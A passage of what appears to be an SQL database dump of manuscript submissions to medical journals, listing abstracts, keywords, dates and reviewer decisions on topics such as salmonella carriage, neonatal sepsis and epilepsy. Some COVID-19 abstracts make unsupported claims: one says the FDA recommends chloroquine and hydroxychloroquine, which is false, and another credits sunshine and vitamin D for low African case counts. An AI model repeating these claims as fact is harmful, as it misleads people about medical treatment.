October 2012 to March 2014.The study included screening of 200  food handlers working in the  mess of seven hostels, and in the canteens of three hospitals, for salmonella carriage. Hence, in this context, stool specimen was collected from all the food handlers. All isolates of salmonellae obtained from blood cultures received at the Microbiology Laboratory at KMC Hospital Laboratory Services from October 2012 to March 2014 were included in the study. Data was collected from the food handlers using a  structured  proforma containing the food handler’s personal details and information regarding their health status. \r\nResults:\r\nA total of 232 food handlers were enrolled in the study from both the hostels and canteens in   Mangalore.A total of 1160 stool samples were processed. The salmonella carriage rate was 0.4% ( 1 out of 232 food handlers). The serotype identified was S.Typhi. The food handler from whom  S.Typhi was isolated was a 35 year old male with  educational qualification upto 11th standard. He was working in the hostel as a cook cum server. He wore gloves while cooking and serving and washed hands with soap and water after toilet and had his fingernails cut short. Biotyping of the faecal isolate of S.Typhi was also done and it  belonged to biotype III. The isolate was sensitive to Ampicillin, Chloramphenicol, Cotrimoxazole, Ciprofloxacin, Ofloxacin, Cefotaxime,  Ceftriaxone and resistant to Nalidixic acid. MIC for Ceftriaxone of this  isolate of S.Typhi  was 0.125 μg/ml.','salmonella, ceftriaxone',780,NULL,'2020-09-22',NULL,'Submitted',2,NULL,'2021-02-01',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(6204,7449,326,0,'IPJUS-20-6204','Gastrocutaneous Fistula; An atypical Presentation',NULL,2,0,NULL,'Gastrocutaneous fistulae (GCF) are rare but serious post-operative complication, usually as a\r\nresult of previous surgery to the alimentary tract.1,2 The most well described conditions\r\netiologically related to GCFs include breakdown of gastroenteric anastomosis, disruption of\r\ngastric suture lines following bariatric surgery, Chronic inflammatory disease, failure of\r\ngastrostomy tract healing, and others. We report a 47-year-old female who developed a\r\nGastrocutaneous fistula secondary to gastric inflammation and ulceration.','',2505,NULL,'2020-09-23',NULL,'Submitted',2,NULL,'2020-12-08',NULL,1,1,'0','This article is accepted for publication.',0,'','',NULL,0,0,0,NULL,0),(6213,7459,975,0,'ipjbs-20-6213','Natural inhibitor; Antithrombin and protein S levels among neonates suffering from sepsis',NULL,14,0,NULL,'Neonatal sepsis is a fetal disease by with significant neonatal morbidities and mortalities worldwide, despite of preventive measures and efforts that targets neonatal sepsis, morbidity and mortality statistics was not promising. Common clinical symptoms of sepsis makes earlier diagnosis challenging. \r\nObjectives: the aim of the study was to assess antithrombin (AT) and Protein S (PS) among Sudanese neonates with sepsis and compare them with healthy neonates in order to study the susceptible alteration in both natural inhibitors of haemostasis (AT and PS) considering different variables (gender, mode of delivery, gestational age, sepsis mode, outcome and causative bacterial agent)\r\nMethods: a prospective case control study achieved in maternity hospital, Omdurman, Sudan in the period between Jun.2013 and Apr.2015 on a total of 100 samples divided into case (neonates diagnosed with proven sepsis) and control group of health neonates (50 for each) selected by non-probability sampling, Protein S was assessed by the clotting procedure using semi-automated coagulometer (Stago stat four), AT was assessed spectrophotometrically by the turbimetric method using semi-automated chemistry analyzer (Mindray BA-88A). \r\nResults: the gender distribution was 23, 27 and 24, 26 males and females for case and control respectively, among case group; 17 neonates with early mode sepsis (0-7 days), and 33 with late onset (7-28 days). Considering the outcome in case group; 40 were recovered (80%) and 10 neonates dead (20%) of them; 4 (40%) with early onset sepsis, and 6 (60%) with late onset. Blood culture distributions were; Pseudomonas 23 (46%), Salmonella 9 (18), Klebsiella 7 (14%), Staph.epidermidis 3 (6%), Strep.fecailis 3 (6%), E.coli 2 (4%), Staph.aureus 2 (4%), and 1 Streptococci (Non group B) (2%). \r\nAT was significantly decrease in case compared to the control group (mean; 183.9 and 221.5 Mg/ml) P.value 0.003. PS, was insignificantly decreased (33.4 and 34.7%) P.value 0.76.\r\nAmong case group; .None of the gender, mode of delivery, Mode of sepsis, etiologic agent and sepsis outcome showed significant correlation with AT or PS.\r\nConclusion: it has been concluded that antithrombin was significantly decreased in septic neonates than healthy one (P.value 0.003). It can be used as diagnostic marker to offer a quick reliable useful test feedback for septic neonates. \r\n','Neonatal sepsis, natural inhibitor, Antithrombin , Protein S, Sudan.',3460,NULL,'2020-09-24',NULL,'Submitted',4,NULL,'2021-03-05',NULL,1,1,'0','Publish it',0,'','',NULL,0,0,0,NULL,0),(6216,7462,971,0,'ipaclr-20-6216','Protein C level and Activated Partial Thromboplastin Time in neonatal sepsis',NULL,14,0,NULL,'Aim : The study aimed to assess Activated Partial Thromboplastin Time (APTT) and Protein C (PC) among Sudanese neonates with sepsis (Cases) in Omdurman maternity hospital, Sudan compared with healthy neonates (controls) for recognizing haemostatic alteration in APTT and PC among neonatal sepsis which increasing annually in Sub Saharan African countries along with continuous local efforts by governmental bodies and NGOs.  \r\nResults: A total of 100 neonates divided equally into septic cases and healthy controls, died neonates were constituted 10 (20%) while 40 (80%) were recovered among case group. \r\nAPTT showed significant prolongation in septic neonates compared to controls (mean; 47.8 and 37.5 sec for cases and controls, respectively) P. value was 0.00. Among case group; dead neonates showed significant prolongation compared recovered (mean; 61.5 and 44.4sec) P.value 0.00. PC showed significant decrease in dead neonates compared to recovered (mean; 25.4 and 36.2% for dead and improved). P.value 0.04\r\nInsignificant difference in PC was found between case and control group. None of the gender, gestational age, delivery mode, sepsis onset, and causative agent showed significant correlation with APTT and PC. APTT&PC can be useful as marker of neonatal sepsis mortality.\r\nConclusion:\r\nAPTT was meaningfully prolonged in neonatal sepsis (P.value 0.00). APTT also prolonged considerably in deceased septic neonates matched to recovered one (P.value 0.00). PC reduced expressively in dead neonates compared to recover in case group (P.value 0.04). (Prolonged APTT and reduce PC can be valuable as a marker for neonatal sepsis mortality. \r\n\r\n','Neonatal sepsis, Mortality, APTT, PC, Sudan.',3249,NULL,'2020-09-24',NULL,'Submitted',4,NULL,'2020-11-25',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6217,7463,86,0,'ipaom-20-6217','Vitamin D as a possible factor that reduce COVID 19 complications',NULL,19,0,NULL,'Corona Virus Disease 19 (COVID-19) remains a serious health problem worldwide cause by a novel Severe Acute Respiratory Syndrome Coronavirus-2 (SARS-COV-2) which rapidly declared on 30-Jan-2020 as a global pandemic by WHO. Unfortunately, there is no effective treatment or vaccine available so far. The only preventive measure to break the spreading of the virus is by physical distancing, wearing masks, and lockdown of countries. All of the above mentioned measures implemented in European and African countries, despite that, the outbreak of the African countries has resulted in quite a few number of cases. Sever cases of COVID-19 is resulted from acute lung injury and cytokine storm. Vitamin D is well-known to inhibit the pathological inflammatory immune response by suppressing the activation of Th1 cells and activation of T regulator cells, as a result of that, vitamin D could minimize the occurrence of the cytokine storm. African countries has a privilege of sunshine most of the year seasons that help synthesizing Vitamin D3 which could explain the low number COVID-19 cases compared to European countries.','Vitamin D, COVID 19 complications',3386,NULL,'2020-09-24',NULL,'Submitted',2,NULL,'2020-10-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6223,7470,975,0,'ipjbs-20-6223','Clinical study of bedside ultrasound for endotracheal intubation positioning',NULL,14,0,NULL,'Objective To investigate the feasibility of beside ultrasound for endotracheal intubation positioning.\r\nMethods A total of 60 adult patients with emergency endotracheal intubation were randomly divided into two groups with 30 patients in each group. After endotracheal intubation, the auscultation (group A) and ultrasound imaging (group B) were used to determine the catheter position, and the position of the catheter was examined and adjusted by fiberoptic bronchoscopy, which distance greater than 2 cm was determined to be an error.\r\nResults There were 7 cases showed unclear images in the ultrasound group. The accuracy of the auscultation group was 63.3% and the accuracy of the ultrasound group was 79.3%, which indicated no statistically significant difference (p=0.176>0.05). However, if 7 patients with unclear images were excluded, the accuracy of the ultrasound group was 95.5% and it showed significant difference between two groups (p=0.007<0.05) with χ2 test, which suggested the accuracy in the ultrasound group is higher than the auscultation method.\r\nConclusion Ultrasonic method to determine and adjust the position of endotracheal intubation is a more accurate and reliable, and non-invasive, repeatable operation. However, the imaging quality of obese patients is poor and auscultation method can be used as a supplementary means after routine auscultation.\r\n','ultrasound; endotracheal intubation; positioning; balloon infusion',3460,NULL,'2020-09-25',NULL,'Submitted',4,NULL,'2021-02-18',NULL,1,1,'1','proceed for publication',0,'','',NULL,0,0,0,NULL,0),(6227,7474,91,0,'ijddr-20-6227','On the Factors that Affect Concentration Variations in a Veterinary Drug Using Backward Stepwise Regression Analysis',NULL,14,2,NULL,'This work investigates the case of controlling the variability in the concentration of Citrus oil, a key ingredient used in the manufacturing of an oral solution veterinary drug produced by the Arab Company for Manufacturing Veterinary and Agricultural Products Ltd. (ARVET) in Ramtha, Jordan. The problem occurs as the drug is produced in large batches that comprise a number of ingredients and mixed together. Factors such as batch size, mixing time, and pH of the pure solution are thought to have an effect on homogeneity of the mixture and thus concentration variability in the final product. Although numerous ingredients are used in the drug of interest such as Bromhexine HCl, Eucalyptus oil, Thymol and Camphor, the focus in this study is restricted to the Citrus oil ingredient as a first-stage investigation. The study will employ the power of statistical techniques such as backward stepwise regression (BSR) analysis to identify the most influential factors. Besides, the best setting of the confirmed influential factors will then be determined.','Veterinary drug;\r\nCitrus oil concentration; \r\nStepwise regression',2474,NULL,'2020-09-26',NULL,'Submitted',19,NULL,'2020-12-17',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(6229,7476,91,0,'ijddr-20-6229','Development, optimization and evaluation of silversulphadiazine loaded nanofibrous scaffold as wound dressing ',NULL,14,2,NULL,'Aim of the study was to design, optimize and evaluate silversulphadiazine loaded nanofibrous scaffold as wound dressing. In this research medicated biodegradable polymeric scaffolds are prepared which work both as anti-infective dressing and proactive. The potential of using the intact skin as port of drug administration has been recognized for several decades. Transdermal therapeutic systems have been designed to provide controlled continuous delivery of drugs via the skin to systemic circulation. The formulation was optimized by factorial design( design expert software) with polymer solution ratio., voltage, distance as the factor and diameter of nanofiber.\r\nCumulative drug release at 7 th day, biodegradability rate at 10 th day responses. The optimized formulation containing  diameter of nanofiber 78.38nm, cumulative drug release at 7 th day 97.79%, biodegradable rate at 10 th day 85.76%.','Silversulphadiazine, wound healing, optimization, Nanofibrous scaffold ',3391,NULL,'2020-09-26',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6232,7480,73,0,'ipjnn-20-6232','The Neuromodulatory Effect of Vagus Nerve Stimulation (VNS) in Drug Resistant Generalized Epilepsy in Saudi Arabia',NULL,14,0,NULL,'ABSTRACT\r\nTitle: Vagus nerve stimulation in Drug Resistant Generalized Epilepsy\r\nBackground:  Vagus nerve stimulation (VNS) is a treatment mainly approved as an adjuvant to antiepileptic drugs for therapy-resistant focal epilepsy. Currently, its use is expanded to include patients with generalized epilepsy. The current study reports the outcomes of VNS for patients with drug resistant generalized epilepsy in Saudi Arabia.\r\nMethods: A retrospective research design was employed with a sample of 18 patients with generalized epilepsy who were treated with VNS at King Fahad Medical City. The reported outcomes included seizure frequency reduction and side effects of VNS therapy.\r\nFindings: The mean seizure onset age was 4.11 years (SD = 2.85), ranging from 1–9. The mean age of VNS implantation was 17.76 years (SD = 7.46), ranging from 5–30 years. Three years after the implantation, one of the patients was seizure-free, and 13 patients (72.22%) had at least a 50% reduction in the frequency of seizures compared to baseline. The overall reduction in seizure frequency showed a significant reduction of 54%, t (17) = 2.07, (P = .05). Most patients (n = 14, 77.8%) reported no side effects after VNS implantation. More specifically, seizure types that were most responsive to VNS treatment included tonic (100%>50% reduction), myoclonic (80%>50% reduction), and GTC (76.4%>50% reduction), whereas the astatic and atonic seizure types were least responsive (50%>50% reduction). The usually reported side effects were wound infection, cough, choking, and hoarseness. The study was conducted in one tertiary epilepsy center. Hence, our sample size was relatively small. \r\nConclusions: The outcomes of VNS confirm its safety and effectiveness as adjunctive therapy for patients with drug-resistant generalized epilepsy in Saudi Arabia. More research with large samples is still needed to specify the characteristics of patients who respond well to VNS.\r\n','Keywords: Neuromodulation, Vagus Nerve Stimulation, Drug Resistant Epilepsy, Generalized Epilepsy, Saudi Arabia',336,NULL,'2020-09-26',NULL,'Submitted',2,NULL,'2020-11-13',NULL,1,1,'0','accept with minor revision!',0,'','',NULL,0,0,0,NULL,0),(6234,7482,86,0,'ipaom-20-6234','Do Chloroquine and Hydroxychloroquine treat COVID-19?',NULL,15,0,NULL,'Chloroquine is an anti-malarial and autoimmune disease drug, which has an anti-viral activity, in vitro, the chloroquine and Hydroxychloroquine are potent at inhibiting SARS-CoV.\r\ntherefore, Chloroquine and Hydroxychloroquine are being studied for their potential treatment of coronavirus disease 2019.\r\nThose drugs are now recommended by the FDA , and multiple health organizations.\r\nThis aims of this review is to explore the efficacy of the chloroquine and hydrochloroquine in the treatment of the novel covid19 .','COVID-19 ; Chloroquine ; Hydroxychloroquine ;',3386,NULL,'2020-09-26',NULL,'Submitted',2,NULL,'2020-10-19',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6235,7483,326,0,'IPJUS-20-6235','Induction chemotherapy for Cancer of Mandibular Gingival in a patient with Solitary Kidney',NULL,2,0,NULL,'Solitary kidney is congenital or acquired, and the main cause of the latter includes nephrectomy. Regardless of the causes, individuals with a solitary kidney may have renal dysfunction. However, limited data on antineoplastic effects on renal function are available in chemotherapy for head and neck cancer. In this report, we describe a case of a solitary kidney patient with mandibular gingival cancer who was treated with induction chemotherapy and surgery. A 55-year-old Japanese woman was referred to us with a persistent pain in the left mandible that lasted for a few months. Her medical history included right nephrectomy after a traffic accident in childhood. An incisional biopsy revealed well-differentiated squamous cell carcinoma. The patient was diagnosed with stage G3a chronic kidney disease. She underwent two cycles of induction chemotherapy with docetaxel, cisplatin, and 5-fluorouracil. The cisplatin dose was reduced by 25%, but the docetaxel and 5-fluorouracil doses were not reduced. In both cycles, eGFR decreased, and serum creatinine transiently increased on Day 12; however, her renal function was restored at the end of each cycle. Then she underwent left mandibulectomy, buccal mucosa and partial maxillectomy, reconstructive surgery with a submental island flap. No infiltrative squamous cell carcinoma, sign of recurrence and aggravation of kidney function were observed. This suggested that, in patients with a solitary kidney, reduced cisplatin dose can show the favorable antineoplastic effect, maintaining renal function in the short term.','oral cancer, solitary kidney, induction chemotherapy, cisplatin',3103,NULL,'2020-09-27',NULL,'Submitted',2,NULL,'2020-11-03',NULL,1,1,'1','This article is accepted as per the review comments.',0,'','',NULL,0,0,0,NULL,0),(6237,7485,85,0,'iphspr-20-6237','Awareness and Utilization of Health Services under Social Security Scheme among Insured Persons in Yangon Region,2018',NULL,14,0,NULL,'Awareness and Utilization of Health Services under Social Security Scheme among Insured Persons in Yangon Region, 2018\r\n\r\nAbstract\r\nObjective; In Myanmar, Social Security Scheme had been implemented since 1956. Social Security Law was reoriented in 2012 to promote the insurance coverage, and extend the health services including the purchaser-provider split system which is steered by Social Security Board. The study explored the awareness, attitude toward, health seeking behavior, and utilization of health services under the scheme among insured persons, and find out the barriers to access by qualitative approach.\r\nMethods; Community based cross-sectional descriptive study was conducted among 270 employees from 6 factories in three townships of Yangon region by using pre-structured questionnaires. Multistage sampling method was used. Health seeking behavior was explored by Andersen’s model of healthcare utilization. Utilization rates were calculated by USAID Measure formula using secondary data sources. Focus group discussions and key informant interviews applied to explore the barriers.\r\nResults; The utilization rate in 2017 was 3214/10000 population per year among insured persons in the study three townships. Nearly all participants knew that they had the right to free medical care at SSB health services. Among them, 54.4% of the participants had awareness score more than mean score, 12 in maximum of 19. The awareness level was significantly associated with educational and occupational statuses, and service years. In term of utilization, 48.5% had utilized, and it was significantly related with awareness level and some socioeconomic conditions. The participants preferred the other health facilities than the SSB health services. The health seeking behavior was associated with awareness level, perceived severity of illness, and some socioeconomic factors. The higher awareness group, female group, low income group and the group who perceived that their illnesses were severe were more preferred the SSB health services. The main reasons for not utilizing were perceived severity of illness and inconvenient opening hours. The qualitative findings stated that the main barriers were long waiting time, inconvenient opening hours, and inadequate health facilities.\r\nConclusion; The study indicated that the insured employees perceived that Social Security Scheme is effective for them, and helpful when they need. However, it needs to extend the opening hours, expanding the SSB clinics, and promoting the public-private partnership system to increase the utilization of health services under the scheme.\r\n Keywords; Social Security Scheme, Awareness and Utilization, Barriers\r\n','Health Services under Social Security Scheme, Awareness and Utilization, Barriers',2141,NULL,'2020-09-27',NULL,'Submitted',4,NULL,'2021-07-06',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6238,7486,639,0,'','HISTOCHEMICAL ANALYSIS OF DNA AND RNA IDENTIFIED BY METHYL GREEN - PYRONIN ‘Y’ METHOD AND FEULGEN’S REACTION STAINING  IN LIVER OF CHANNA PUNCTATUS',NULL,3,2,NULL,'Abstract\r\nThe light microscopy was to identify cells, storage products, tissue deposits, and microbial pathogens. The Assessment of surrounding tissue with special stains may reveal aspects of interest for the tissue. We illustrate the expected staining characteristics of control Channa punctatus liver tissue with Methyl Green -Pyronin ‘Y’ and Feulgen’s Reaction stains. The aim of this study was to characterize the normal structure of the liver of Channa punctatus, a carnivorous freshwater fish found in Hasanparthy Lake, using gross anatomy, histology and histochemistry. Anatomically, the liver presents C-shaped and only two lobes smaller right and bigger left. The gallbladder is located in right lobe and shows elongated shaped. Histological analysis demonstrated that the hepatic parenchyma is made of two hepatocytes plates surrounded by sinusoids. The fish moreover pancreatic tissue was observed in visceral portion of liver, formed by exocrine pancreatic tissue and islet organ, constituting an extrahepatic pancreas. The nucleic acids content in different tissues in the freshwater fish of Channa punctatus. The fish were scarified and the tissues such as liver and Pancreas removed and processed for determination of nucleic acids. The results obtained in the present study may provide a contribution to the knowledge of the characteristics of nucleic acid as parameters of estimation of DNA and RNA levels in Liver of the fish. \r\n','Channa punctatus, Feulgen’s Reaction, Liver ',1777,NULL,'2021-09-16','2020-09-27','Submitted',19,NULL,'0000-00-00',NULL,1,0,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(6239,7487,251,0,'ipacm-20-6239','blaKPC, blaNDM and blaOXA-48 PRODUCINGKLEBSIELLA PNEUMONIAE: FIRST REPORT FROM NORTHWEST PAKISTAN',NULL,14,0,NULL,'Background: Klebsiella pneumoniae causes life-threatening infections especially in hospitalized patients. It is notorious for causing complications among indwelling medical devices. The involvement of K. pneumoniae in such condition causes chronic infections, which required appropriate antibiotic treatment. The emergence of resistance against antibiotics develops a critical situation for treating infections. Carbapenemase is the most common resistance mechanism among K. pneumoniae.\r\nAim/Objective: The purpose of the study is to find the prevalence of K. pneumoniae among hospital-acquired infections, the resistance pattern against antibiotics, phenotypic and molecular detection of carbapenemase-producing isolates.\r\nMaterials & Methods: About 5475 samples were processed for culture, in which 1140 samples were exhibited growth. Out of total, 110 isolates were identified as K. pneumoniae. Antibiotic resistance was determined by the disc diffusion method, Modified carbapenem inactivation method (MCIM) were used to isolate carbapenemase producer among K. pneumoniae, followed by phenotypic and molecular detection conducted for identification of specific types of carbapenemases.\r\nResults: All the samples 110 (100%) were found resistant to cloxacillin, cefotaxime, gentamicin and fosfomycin, 72 (65.4%) to meropenem, and 63 (57.2%) to imipenem. PCR result showed that the NDM gene was the most common 25 (22.7%) followed by KPC 15 (13.6%), and the least was OXA 01 (0.9%). It was also noted that the PCR detection rate was much higher than phenotypic detection.\r\nConclusions: In the undertaken study, antibiotic resistance carbapenemase detection through carbapenemase production is increasingly prevalent. The findings of the work will be helpful to understand the molecular mechanisms associated with antibiotics resistance among K. pneumoniae.\r\n','Klebsiella pneumoniae, Nosocomial, Antibiotic resistance, Carbapenemase detection.',777,NULL,'2020-09-27',NULL,'Submitted',4,NULL,'2021-02-02',NULL,1,1,'0','  ',0,'','',NULL,0,0,0,NULL,0),(6242,7490,73,0,'ipjnn-20-6242','BASILAR MEGADOLICHOECTASIA AND PITUITARY ADENOMA AS AN UNUSUAL CAUSE OF STROKE',NULL,2,0,NULL,'Intracranial arterial dolichoectasia is present in\r\n12% of stroke patients. Sizes greater than 4.5 mm of basilar artery diameter are considered dolichoectasia. We present a 46-year-old man, without risk factors, who came to the emergency room due to sudden\r\ndizziness, vomiting, difficulty in the emission of speech, deviation of the mouth corner, and clumsiness in the right hemibody of 48 hours of\r\nevolution (NIHSS: 11 points).A cranial magnetic resonance imaging (MRI) showed an infarction in the left portion of the pons, and a large vertebrobasilar dolichoectasia (15mm), with a basilar fusiform aneurysm with mural thrombosis. In addition, a 2 cm pituitary macroadenoma is observed, which extends surrounding the cavernous portion of the internal\r\ncarotid by 50%. He was diagnosed with a left pontine infarction secondary to basilar megadolichoectasia. Endovascular treatment could not be performed, but the pituitary macroadenoma could be subsequently intervened by endovascular surgery, with good evolution.','megadolichoectasia; unusual stroke; basilar ectasia; pituitary adenoma; basilar artery.',338,NULL,'2020-09-27',NULL,'Submitted',2,NULL,'2021-01-18',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6245,7495,45,0,'iphsj-20-6245','Negative impacts during a  COVID -19 Pandemic on children ,adolescents & families',NULL,17,0,NULL,'Statement of the Problem: Children, adolescents and families may be particularly vulnerable to disease severity and unintended arms of public health measures during pandemics and have been previously defined as a high-risk population for negative impacts during an outbreak. Although there is evidence that the disease seems  to be less  severe in children, evidencie on pediatric disease severity and the role of children transmission is still emerging.Children are not indifferent to the significant psychological impact of the COVID-19 pandemic. They experience fears, uncertainties, substantial change to the routines,physica and social isolation alongside high level of parental stress. During the COVID-19 pandemic, parents are often working from home or maybe recently unemployed due to business closures. Alternatively some parents area essential workers with inherent occupational risk and stressors, and may face additional challenges such as limited access to childcare.Early childhood is a critical period for developing physical, social, emotional, and cognitive abilities that will set stage for healthy behaviours and outcomes throughout the life course.Quality relationships, optimal nutrition, a safe home environment, and physical health support positive outcomes in learning, behavior and health.The disruption in the family context due to the closure of childcare centres, schools, recreational facilities and playgrounds may have consequences particularly for young children , as a protective factor for both physical and mental health having routines and structured days. Even though children all over the world are going to be affected, those with disabilities, living in slums, isolation centers, and conflict zones are going to be a greater risk. They may not be able to communicate their feelings like the adults.Closure of schools and separation from friends can cause stress and anxiety in children.Exposue to mass media coverage of crisis event and unverified information circulating on social media may agrravate the mental distress.Some children may start showing typical regressive behaviors like asking for bottle, thumb sucking, toileting accidents, not wanting to dress or feed themselves, becoming clingier and demanding, wanted to be carried as well as problem in sleeping. Older children and adolescent may feel disappointed for missing birthday parties, school plays, dance competitions, hanging out with friends, sports activities in playgrounds with other team members, as well as not being able to visit their grandparents, aunts, friends, and cousins. Teenagers and college students have amplified energy,novelty,motivation,curiosity and enthusiasm that make them hard to isolate at home. The hormonal changes that come will puberty collude with adolescent social dynamics to make them tightly attuned to social status, peer group, and relationships. Teens may feel frustrated, nervous, disconnected, nostalgic, and bored because of social distancing during this pandemic. Chidden with special needs like autisms spectrum disorder and neurocognitive disability can become frustrated due to disruptions in their daily routines., therapy sessions, and they are more likely to show problematic behaviors such as irritability, aggression and social withdrawal. Children suffering from depression and anxiety disorders my feel overwhelmed with news of death and disease all around them. The obsessions and compulsions of a child with OCD may get worse during the time of stress.Children quarantined develop mental health disorders such as anxiety, acute stress, and adjustment disorders. Separation from parents ,stigmatization ,fear of an unknown disease, and social isolation. The health behaviors including diet, physical activity, sleep, and screen time . There were no significant change in fruit and vegetables intake, however, the number of meals eaten per day increase significantly and there was increase intake of potato chips ,read meat and sugary drinks.Children had decreased time spent in sport activities , sleep time increase, and screen time related to non-school activities, and tended to sleep more. In Italy and Spain the most common symptoms reported were difficulty concentrating, boredom, irritability, restless,nervousness and worried. Unicef mentions that increase online activity (due the insolation and school closures) can put children at heightened risk of online sexual exploitation, cyberbullying, online risk-taking behavior, and exposure to potencial harmful content. In two Centers for Disease Control and Prevention rates of vaccination in the U.S. and England, there was a notable decline on vaccinations  particularly for children 2 to 18 years .','',3828,NULL,'2020-09-28',NULL,'Submitted',14,NULL,'2020-10-06',NULL,1,1,'1','Accepted',0,'3090','nikhil_m@omicsgroup.co.in',NULL,0,0,0,NULL,0),(6253,7400,73,0,'ipjnn-20-6253','The impact of 24-hour ambulatory EEG in the clinical approach to patients with suspected epilepsy',NULL,14,0,NULL,'Background: The Electroencephalogram (EEG) is the gold standard technique to assess the epileptogenic cortical activity. However, due to the\r\nneurophysiology of the bioelectrical signal and the short duration of the routine EEG (rEEG) and sleep-deprived EEG (sEEG) registers, the sensitivity is low. The 24-hour Ambulatory EEG (aEEG), being a prolonged recording, could significantly improve the diagnostic capability, in an attractive cost-effective way. In this study, we analysed the aEEG of patients with suspected epilepsy, addressing its specificity and sensitivity for the clinical diagnosis of epilepsy. Additionally, we endeavour to ascertain any other possible predictive factors of diagnosis.\r\n\r\nMethods and Findings: Retrospective observational study enrolling consecutive patients with suspected epilepsy who underwent aEEG between May 2011 and May 2018 at the Neurophysiology Laboratory from Local Health Unit of Matosinhos – Pedro Hispano Hospital. A sample of 83 individuals was obtained, with a mean age of 44.5 years (79 adults and 4 pediatric). aEEG showed a good diagnostic capacity for the clinical diagnosis of epilepsy with a specificity of 97% and sensitivity of 68%. The rate of false-negatives and false-positives was 7% and 5%, respectively. It’s expected that patients with an indication of syncope or loss of consciousness will not have epilepsy diagnosis.\r\n\r\nConclusions: The aEEG can be a useful tool to assess patients with suspected epilepsy and normal routine and sleep-deprived EEGs, or in cases of suspected non-epileptic seizures, especially to exclude the epilepsy diagnosis given its high specificity. This approach can lessen the time required to identify the diagnosis.','Epilepsy, Diagnosis, Electroencephalogram, Sensitivity.',336,NULL,'2020-09-28',NULL,'Submitted',2,NULL,'2021-01-18',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(6255,7502,45,0,'iphsj-20-6255','Effect of Storage Time and Temperature On the stability of Serum Analytes',NULL,14,2,NULL,'Background: Determining the pattern of analytes stability with regard to time duration and temperature of storage is compulsory to maintain the precision and accuracy of measurements. Hence, this study aimed to assess the stability of 19 common serum analytes in relation to time length and storage temperatures. \r\nMethods: Serum specimens from healthy adult volunteers were obtained, transferred into a single BD falcon tube, gently mixed. About 300µL  of serum was taken and immediately analyzed to determine the concentration of 19 common serum analytes to use the results as a baseline value for the characterization of analytes stability. Then the serum aliquoted into 24 sterilized Nunc tubes (300µL in each) and six aliquots were stored in each storage temperature like 17°C, 2-8 °C, -20°C and -41°C. Then the aliquots analyzed in parallel on days 5, 10, 15, 20, 25, and 30. Results: At 17°C, amylase (AMY), Urea (URE),  total protein (TP), Creatinine (CREA) and Glucose (GLU) were stable until day 25 with <3% change of the starting value, while the rest analytes were very unstable throughout 30 days. At 2-8 °C, alkaline phosphatase (ALP), creatine phosphatase (CK-T), cholesterol (TC), AMY, LDL-cholesterol (LDL-c), TP, and GLU were stable until day 30 with ≤4% change of the initial value. At -20°C and -410C, AMY, pancreatic amylase (AM-P), LDH, TC, triglyceride (TG), GLU, PHO, and TP were stable for 30 days with ≤3.1% change from a baseline value. The overall novel findings: the following tests were stable at 170C for 25 days with the maximum change of  urea <2%, glucose <3%, protein total <1% and amylase 0.0%\r\nConclusion: This study tried to evaluate the stability of serum biochemicals at four different storage temperatures concurrently. Each serum biochemical has inimitable stability characteristics in diverse storage temperatures. Therefore, clinical laboratories should store specimens using appropriate temperatures as soon as possible by considering the length of storage time.\r\n','Serum, Biochemical analytes, Stability, Storage temperature ',4019,NULL,'2020-09-29',NULL,'Submitted',19,NULL,'2020-11-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6261,6984,277,0,'ipadm-20-6261','SÍNDROMES MIELOPROLIFERATIVOS CRONICOS JAK2 POSITIVO: REVISION NARRATIVA DE LA LITERATURA',NULL,15,0,NULL,'Introducción: síndromes mieloproliferativos crónicos (SMC) JAK2 +, clasificados como policitemia vera (PV), trombocitosis esencial (TE) y mielofibrosis primaria (MFP), son trastornos derivados de células madre. Las mutaciones en el gen januskinase-2 (JAK-2) es característico de estas enfermedades. Se estima que cada uno tiene una tasa de 0.5 a 2.5 por 100,000 personas por año. Objetivo: evaluar las características epidemiológicas, clínicas, diagnóstico y tratamiento de las neoplasias mieloproliferativas crónicas; además, la prevalencia y el significado clínico de la mutación JAK2. Metodología: Se realizó una revisión narrativa a través de una búsqueda avanzada con las palabras claves del MeSH. Se excluyó de la presente revisión a la Leucemia mieloide crónica (LMC), debido a que su diagnóstico se hace con la aparición del cromosoma de Philadelfia y no mediante mutación JAK2. Resultados y discusión: SMC se caracterizan por una mayor proliferación de glóbulos rojos, glóbulos blancos y plaquetas, y por lo tanto aumentar el riesgo de mortalidad. Son patologías demostrables con mutación JAK2 para su diagnóstico: fuerte (PV), moderada o débilmente (TE, MFP). Conclusión: Las manifestaciones clínicas de estas entidades se superponen, al igual que sus impulsores genéticos, y son capaces de evolucionar hacia otro tipo, lo que dificulta el diagnóstico. Es importante evaluar la presencia de la mutación JAK2 en pacientes con SMC.','Trastornos mieloproliferativos; Síndromes mieloproliferativos crónicos; Policitemia vera; Mielofibrosis primaria; Trombocitosis esencial; Januskinase2.',2805,NULL,'2020-09-29',NULL,'Submitted',2,NULL,'2020-10-24',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6262,7511,45,0,'iphsj-20-6262','Silver Diamine Fluoride –  An alternative strategy for treatment of caries in individuals with special needs',NULL,15,2,NULL,'Abstract \r\nAim: To investigate the effectiveness of Silver Diamine Fluoride (SDF) in arresting dental and root caries in people with special needs (PSN); to evaluate whether SDF could be an alternative strategy in arresting/managing caries compared to the conventional restorative techniques involving filings. \r\nResults: A systematic literature search was conducted using electronic databases, manual reference list, and grey literature searches. Applying inclusion criteria 18 studies were used for data extraction; 15 studies were randomized/controlled clinical trials (RCT) examining caries arrest in primary and permanent dentition and 3 RCT on root caries in the elderly. No RCT investigated the effectiveness of SDF on dentine caries arrest or compared the effectiveness of SDF with conventional restorative treatments in normal individuals older than 10 years old, in PSN or elderly. The majority of studies revealed high dentine and root caries arrest/prevention during bi-annual application of 38% SDF compared to other interventions. \r\nConclusion: Application of SDF could be a potential alternative strategy in arresting/managing caries in PSN. However, a 